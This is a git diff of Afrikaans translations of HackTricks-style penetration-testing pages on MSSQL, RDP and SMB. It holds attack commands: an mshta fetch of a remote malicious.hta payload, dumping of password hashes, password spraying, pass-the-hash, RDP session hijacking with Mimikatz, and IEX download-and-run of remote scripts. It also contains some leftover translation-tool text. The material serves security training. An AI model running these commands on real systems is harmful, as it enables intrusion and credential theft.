@ -6,7 +6,7 @@
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en op te haal soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.
> **Microsoft SQL Server** is 'n **relationele databasis** bestuurstelsel wat deur Microsoft ontwikkel is. As 'n databasisbediener is dit 'n sagtewareproduk met die primêre funksie om data te stoor en te onttrek soos versoek deur ander sagtewaretoepassings—wat op dieselfde rekenaar of op 'n ander rekenaar oor 'n netwerk (insluitend die Internet) kan loop.
**Standaard poort:** 1433
```
@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
- **master Databasis**: Hierdie databasis is van kardinale belang aangesien dit alle stelselniveau besonderhede vir 'n SQL Server-instansie vasvang.
- **msdb Databasis**: SQL Server Agent gebruik hierdie databasis om skedulering vir waarskuwings en take te bestuur.
- **model Databasis**: Dien as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollasies, herstelmodel, en meer weerspieël word in nuut geskepte databasisse.
- **Resource Databasis**: 'n Lees-alleen databasis wat stelselaanwysers bevat wat saam met SQL Server kom. Hierdie voorwerpe, terwyl dit fisies in die Resource databasis gestoor word, word logies in die sys skema van elke databasis aangebied.
- **model Databasis**: Diena as 'n bloudruk vir elke nuwe databasis op die SQL Server-instansie, waar enige veranderinge soos grootte, kollasies, herstelmodel, en meer weerspieël word in nuut geskepte databasisse.
- **Resource Databasis**: 'n Lees-slegs databasis wat stelselaanwysers bevat wat saam met SQL Server kom. Hierdie voorwerpe, terwyl dit fisies in die Resource databasis gestoor word, word logies in die sys skema van elke databasis aangebied.
- **tempdb Databasis**: Dien as 'n tydelike stoorarea vir tydelike voorwerpe of tussenresultate.
## Enumerasie
@ -157,12 +157,12 @@ SELECT * FROM sysusers
1. **Securable:** Gedefinieer as die hulpbronne wat deur SQL Server bestuur word vir toegangbeheer. Hierdie word gekategoriseer in:
- **Server** Voorbeelde sluit databasisse, aanmeldings, eindpunte, beskikbaarheidsgroepe, en server rolle in.
- **Database** Voorbeelde dek databasisrol, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
- **Database** Voorbeelde dek databasis rolle, toepassingsrolle, skemas, sertifikate, volle teks katalogusse, en gebruikers.
- **Schema** Sluit tafels, weergawes, prosedures, funksies, sinonieme, ens. in.
2. **Toestemming:** Geassosieer met SQL Server securables, toestemmings soos ALTER, CONTROL, en CREATE kan aan 'n hoof toegeken word. Bestuur van toestemmings vind op twee vlakke plaas:
- **Server Vlak** met behulp van aanmeldings
- **Database Vlak** met behulp van gebruikers
3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming ontvang om 'n securable te gebruik. Hoofde sluit hoofsaaklik aanmeldings en databasisgebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
3. **Hoof:** Hierdie term verwys na die entiteit wat toestemming ontvang om toegang te verkry tot 'n securable. Hoofde sluit hoofsaaklik aanmeldings en databasis gebruikers in. Die beheer oor toegang tot securables word uitgeoefen deur die toekenning of weiering van toestemmings of deur aanmeldings en gebruikers in rolle met toegangregte in te sluit.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### Voer OS Opdragte Uit
> [!CAUTION]
> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
> Let daarop dat dit nie net nodig is om **`xp_cmdshell`** **geaktiveer** te hê om opdragte uit te voer nie, maar ook om die **EXECUTE toestemming op die `xp_cmdshell` gestoor prosedure** te hê. Jy kan uitvind wie (behalwe sysadmins) **`xp_cmdshell`** kan gebruik met:
>
> ```sql
> Use master
@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Kry gehashde wagwoorde
```bash
SELECT * FROM master.sys.syslogins;
```
### Steel NetNTLM-hash / Relay-aanval
Jy moet 'n **SMB-bediener** begin om die hash wat in die outentisering gebruik word, te vang (`impacket-smbserver` of `responder` byvoorbeeld).
@ -278,7 +282,7 @@ Jy kan sien hoe om hierdie gereedskap te gebruik in:
### Misbruik van MSSQL vertroude Skakels
[**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie kenmerk te misbruik:**
[**Lees hierdie pos**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **om meer inligting te vind oor hoe om hierdie funksie te misbruik:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -341,9 +345,9 @@ print(sys.version)
'
GO
```
### Lees Registrasie
### Lees Register
Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Registrasie**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server bied **meervoudige uitgebreide gestoor prosedures** wat jou toelaat om nie net met die netwerk te kommunikeer nie, maar ook met die lêerstelsel en selfs die [**Windows Register**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Regulier** | **Instansie-Bewus** |
| --------------------------- | ------------------------------------ |
@ -380,7 +384,7 @@ Volgens[ **hierdie pos**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
It seems that your message is incomplete. Please provide the text you would like translated to Afrikaans.
Met:
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -438,7 +442,7 @@ Daar is ander metodes om opdraguitvoering te verkry, soos om [uitgebreide gestoo
### Van db_owner na sysadmin
As 'n **gereguleerde gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) ontvang en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**.
As 'n **gereguleerde gebruiker** die rol **`db_owner`** oor die **databasis besit deur 'n admin** gebruiker (soos **`sa`**) gegee word en daardie databasis as **`trustworthy`** geconfigureer is, kan daardie gebruiker hierdie voorregte misbruik om **privesc** te verkry omdat **gestoor prosedures** wat daar geskep is, as die eienaar (**admin**) kan **uitvoer**.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,7 +481,7 @@ Jy kan 'n **metasploit** module gebruik:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Of 'n **PS** skrip:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
@ -522,7 +526,7 @@ Jy kan hierdie aanval uitvoer met 'n **metasploit** module:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
of met 'n **PS** skrip:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
@ -531,11 +535,11 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Uittreksel van wagwoorde uit SQL Server Linked Servers
## Uittreksel van wagwoorde uit SQL Server Gekoppelde Bedieners
'n Aanvaller kan SQL Server Linked Servers wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die teiken te verkry. Die skrip om die wagwoorde wat vir die Linked Servers gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.
'n Aanvaller kan SQL Server Gekoppelde Bedieners wagwoorde uit die SQL Instansies uittrek en dit in duidelike teks verkry, wat die aanvaller wagwoorde gee wat gebruik kan word om 'n groter voet aan die grond op die teiken te verkry. Die skrip om die wagwoorde wat vir die Gekoppelde Bedieners gestoor is, uit te trek en te ontsleutel, kan [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) gevind word.
Sommige vereistes en konfigurasies moet gedoen word sodat hierdie ontploffing kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
Sommige vereistes en konfigurasies moet gedoen word sodat hierdie uitbuiting kan werk. Eerstens moet jy Administrateurregte op die masjien hê, of die vermoë om die SQL Server Konfigurasies te bestuur.
Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volgende is:
@ -545,14 +549,14 @@ Na validasie van jou toestemmings, moet jy drie dinge konfigureer, wat die volge
Om hierdie konfigurasies te outomatiseer, het [hierdie berging](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die nodige skripte. Benewens 'n powershell-skrip vir elke stap van die konfigurasie, het die berging ook 'n volledige skrip wat die konfigurasieskripte en die uittreksel en ontsleuteling van die wagwoorde kombineer.
Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Link Server Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Vir verdere inligting, verwys na die volgende skakels rakende hierdie aanval: [Ontsleuteling van MSSQL Databasis Koppelbediener Wagwoorde](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting die SQL Server Toegewyde Administrateur Verbinding](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Plaaslike Privilege Escalation
Die gebruiker wat MSSQL-server uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik in staat wees om **na Administrateur op te skaal** deur een van hierdie 2 bladsye te volg:
Die gebruiker wat MSSQL bediener uitvoer, sal die voorregtoken **SeImpersonatePrivilege** geaktiveer hê.\
Jy sal waarskynlik in staat wees om **te eskaleer na Administrateur** deur een van hierdie 2 bladsye te volg:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

View File

@ -12,7 +12,7 @@ Ontwikkel deur Microsoft, die **Remote Desktop Protocol** (**RDP**) is ontwerp o
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Opname
## Enumerasie
### Outomaties
```bash
@ -24,7 +24,7 @@ Dit kontroleer die beskikbare versleuteling en DoS kwesbaarheid (sonder om DoS a
**Wees versigtig, jy kan rekeninge sluit**
### **Wagwoord Spuit**
### **Password Spraying**
**Wees versigtig, jy kan rekeninge sluit**
```bash
@ -33,16 +33,16 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Verbinde met bekende akrediteerbesonderhede/hash
### Verbind met bekende akrediteer/hasher
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Kontroleer bekende geloofsbriewe teen RDP-dienste
### Kontroleer bekende akrediteerbes met RDP-dienste
rdp_check.py van impacket laat jou toe om te kontroleer of sommige geloofsbriewe geldig is vir 'n RDP-diens:
rdp_check.py van impacket laat jou toe om te kontroleer of sekere akrediteerbes geldig is vir 'n RDP-diens:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
@ -64,7 +64,7 @@ Nou sal jy binne die geselekteerde RDP-sessie wees en jy sal 'n gebruiker moet n
**Belangrik**: Wanneer jy toegang tot 'n aktiewe RDP-sessie verkry, sal jy die gebruiker wat dit gebruik het, afskakel.
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op die skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)
Jy kan wagwoorde uit die proses verkry deur dit te dump, maar hierdie metode is baie vinniger en laat jou toe om met die gebruiker se virtuele lessenaars te interaksie (wagwoorde in notepad sonder om op skyf te stoor, ander RDP-sessies wat op ander masjiene oop is...)
#### **Mimikatz**
@ -77,7 +77,7 @@ ts::remote /id:2 #Connect to the session
Deur hierdie tegniek te kombineer met **stickykeys** of **utilman kan jy toegang verkry tot 'n administratiewe CMD en enige RDP-sessie enige tyd**
Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggewerk is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
Jy kan RDP's soek wat reeds met een van hierdie tegnieke teruggekom is met: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Proses Inspuiting
@ -98,12 +98,16 @@ net localgroup "Remote Desktop Users" UserLoginName /add
**AutoRDPwn** is 'n post-exploitasie raamwerk geskep in Powershell, hoofsaaklik ontwerp om die **Shadow** aanval op Microsoft Windows rekenaars te outomatiseer. Hierdie kwesbaarheid (lys as 'n kenmerk deur Microsoft) laat 'n afstandaanvaller toe om **sy slagoffer se lessenaar sonder sy toestemming te sien**, en selfs dit op aanvraag te beheer, met behulp van gereedskap wat in die bedryfstelsel self ingebou is.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Beheer muis en sleutelbord op 'n geoutomatiseerde manier vanaf die opdraglyn
- Beheer klembord op 'n geoutomatiseerde manier vanaf die opdraglyn
- Beheer muis en sleutelbord op 'n outomatiese manier vanaf die opdraglyn
- Beheer klembord op 'n outomatiese manier vanaf die opdraglyn
- Genereer 'n SOCKS-proxy vanaf die kliënt wat netwerkkommunikasie na die teiken via RDP kan lei
- Voer arbitrêre SHELL en PowerShell opdragte op die teiken uit sonder om lêers op te laai
- Laai lêers op en af na/vanaf die teiken selfs wanneer lêeroordragte op die teiken gedeaktiveer is
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
Hierdie gereedskap laat toe om opdragte in die slagoffer se RDP **uit te voer sonder om 'n grafiese koppelvlak te benodig**.
## HackTricks Outomatiese Opdragte
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.

View File

@ -4,13 +4,13 @@
## **Port 139**
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**.
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Tegniek, Port 139 word verwys na NBT oor IP, terwyl Port 445 geïdentifiseer word as SMB oor IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun.
Tegniek is Port 139 bekend as NBT oor IP, terwyl Port 445 geïdentifiseer word as SMB oor IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun.
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
```
@ -20,11 +20,11 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
Aandele, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie sigbaar maak vir 'n kliënt wat gedeeltelik **onafhanklik** is van die bediener se werklike struktuur. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is anders as die plaaslike regte wat op die bediener gestel is.
### IPC$ Share
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van:
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Indien korrek gebruik, stel dit die verkryging van:
- Inligting oor die bedryfstelsel
- Besonderhede oor die ouer domein
@ -40,7 +40,7 @@ Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om '
## Wat is NTLM
As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar verduidelik word **hoe hierdie protokol werk en hoe jy daarvan kan voordeel trek:**
As jy nie weet wat NTLM is of jy wil weet hoe dit werk en hoe om dit te misbruik nie, sal jy hierdie bladsy oor **NTLM** baie interessant vind waar verduidelik word **hoe hierdie protokol werk en hoe jy dit kan benut:**
{{#ref}}
../windows-hardening/ntlm/
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
Om te soek na moontlike exploits vir die SMB weergawe, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
- Gebruik die **MSF** bykomende module \_**auxiliary/scanner/smb/smb_version**
- Gebruik die **MSF** bykomende module _**auxiliary/scanner/smb/smb_version**_
- Of hierdie skrip:
```bash
#!/bin/sh
@ -82,14 +82,14 @@ searchsploit microsoft smb
### **Mogelijke** Kredensiaal
| **Gebruikersnaam(s)** | **Algemene wagwoorde** |
| --------------------- | ----------------------------------------- |
| _(leeg)_ | _(leeg)_ |
| gast | _(leeg)_ |
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
| arcserve | arcserve, rugsteun |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, rugsteun | backupexec, rugsteun, arcada |
| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo |
| ---------------------- | ----------------------------------------- |
| _(leeg)_ | _(leeg)_ |
| gasheer | _(leeg)_ |
| Administrateur, admin | _(leeg)_, wagwoord, administrateur, admin |
| arcserve | arcserve, rugsteun |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, rugsteun | backupexec, rugsteun, arcada |
| toets, laboratorium, demo | wagwoord, toets, laboratorium, demo |
### Brute Force
@ -119,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Lys gebruikers, groepe & ingelogde gebruikers
### Lys gebruikers, groepe & aangemelde gebruikers
Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees.
```bash
@ -139,7 +139,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Oneliner
Eenvliner
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -197,9 +197,9 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Handmatig vensters deel en verbind daarmee**
Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie kan aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
Gewone deelname vir venster teikens is
Gewone deelname name vir venster teikens is
- C$
- D$
@ -210,7 +210,7 @@ Gewone deelname vir venster teikens is
- SYSVOL
- NETLOGON
(Gewone deelname van _**Network Security Assessment 3rd edition**_)
(Gewone deelname name van _**Network Security Assessment 3rd edition**_)
Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik
```bash
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **Lys deel van Windows / sonder derdeparty gereedskap**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Laai lêers af**
Lees vorige afdelings om te leer hoe om met akrediteerbesonderhede/Pass-the-Hash te verbind.
Lees vorige afdelings om te leer hoe om met akrediteer/Pass-the-Hash te verbind.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -293,32 +293,36 @@ Commands:
- mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
- recurse: skakel rekursie aan (verstek: af)
- prompt: skakel vrae vir lêernaam af (verstek: aan)
- mget: kopieer alle lêers wat ooreenstem met die masker van die gasheer na die kliënt masjien
- prompt: skakel die vrae vir lêernaam af (verstek: aan)
- mget: kopieer alle lêers wat met die masker ooreenstem van gasheer na kliënt masjien
(_Inligting van die manblad van smbclient_)
### Domein Gedeelde Gidsen Soektog
### Domein Gedeelde Gidse Soektog
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat.
Spesifiek interessant van gedeelde lêers is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde** bevat vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbare inligting bevat.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
> [!NOTE]
> Die **SYSVOL-gedeelte** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
> Jy moet die **scripts** daarin **nagaan** aangesien jy **sensitiewe** inligting soos **wagwoorde** mag **vind**.
> Die **SYSVOL gedeelde lêer** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daarin mag jy **vind** baie verskillende batch, VBScript, en PowerShell **scripts**.\
> Jy moet die **scripts** daarin **kontroleer** aangesien jy **sensitiewe inligting** soos **wagwoorde** mag **vind**.
## Lees Register
Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer:
Jy mag in staat wees om die **register** te **lees** met behulp van sommige ontdekte akrediteerbare inligting. Impacket **`reg.py`** laat jou toe om te probeer:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -378,7 +382,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload insit --**file-less technique-**-).\
